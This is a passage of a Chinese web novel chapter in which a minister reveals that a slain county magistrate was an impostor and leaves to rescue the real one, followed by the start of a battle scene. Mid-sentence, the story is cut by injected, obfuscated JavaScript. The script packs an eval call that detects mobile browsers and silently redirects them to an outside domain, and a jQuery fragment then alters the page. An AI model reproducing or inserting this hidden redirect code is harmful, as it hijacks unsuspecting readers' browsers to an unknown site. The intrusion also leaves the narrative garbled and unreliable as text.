刻吓得赵兴差点跟着一跳:“……全杀了?!”
项连对此毫无情绪波动,赵兴拽着他的衣袖:“不是、不是你们大人他……他不是说留三个活口……”
怎么还会下如此狠手!
然而他的声音即刻收住,赵兴望见戚玹陪着源尚安下了楼。
源尚安道:“他既然答应保密,那就要说到做到。”
死人的嘴才最适合保密。
赵兴心有余悸:“可是死了这么多人,我……”
我要怎么解释?
“今夜有歹人意图不轨,”源尚安道,“幸而赵县尉英勇无畏,率领义士将他们尽数诛杀,这才为永丰免去了一场动乱。”
赵兴听得目瞪口呆:“不是,我……”
我还成带头的那个了?
源尚安反问:“你还想回去?”
回去的下场就是个死,赵兴这点还是明白的:“不不不,我已经跟定大人认定大人了。”
源尚安摇头:“错。今夜诛杀歹徒我只是辅助赵县尉罢了。”
赵兴:“……”
事已至此,活着就行,随便他吧。
“那咱们现在回营?”
“不,”源尚安转向左侧,戚玹立时命人点灯照路,“去救人,救真正的刘县令。”
“……啊?”
赵兴一头雾水,全然跟不上他的节奏。
那位被杀的是假的?
“可是你怎么知道?”
连他这个跟了刘达多年的老人都没看出来有什么问题,源尚安不过是第一回见他,怎么就能肯定人不是真的?
源尚安道:“他的手有问题。若是文官出身的人,右手常年握笔,指节处理应留有薄茧。但他手上的茧位于掌心上端,且有一些细小伤口。”
“这是常年习武之人才会有的手。”
他之所以如此笃定,是因为替大魏镇守边境、抵御柔然的父亲也有着同样的一双手。
儿时那双手伸向自己,揉捏脸颊的时候,那粗糙的触感总会引起源尚安下意识地侧脸躲避。
赵兴不知往事正在他脑海中无声流转,只道:“原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965442|159584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来如此。”
他的重点也转到了手上,不由得低头借光看了看源尚安的手。
那上面也爬满了细微的创口。
赵兴恍恍惚惚地想,达官贵人理应养尊处优,这样的伤口从何而来?
余光瞥见了身侧不言不语的项连,赵兴当即皱起眉头:黑夜里这高大而富有压迫感的身形竟是如此熟悉。
“嘶,不对,你好像是那天追——”
话未说完,项连啪地一记手刀击晕了人:“事真多。”
——————
带着火的羽箭嗖嗖穿透枯树枝干,树身嚓啦断裂之余当即燃起一片火光。
火焰烘烤下战场迅速升温,身上铁甲也逐渐滚烫,汗水不受控制地滴答流淌,蒙住了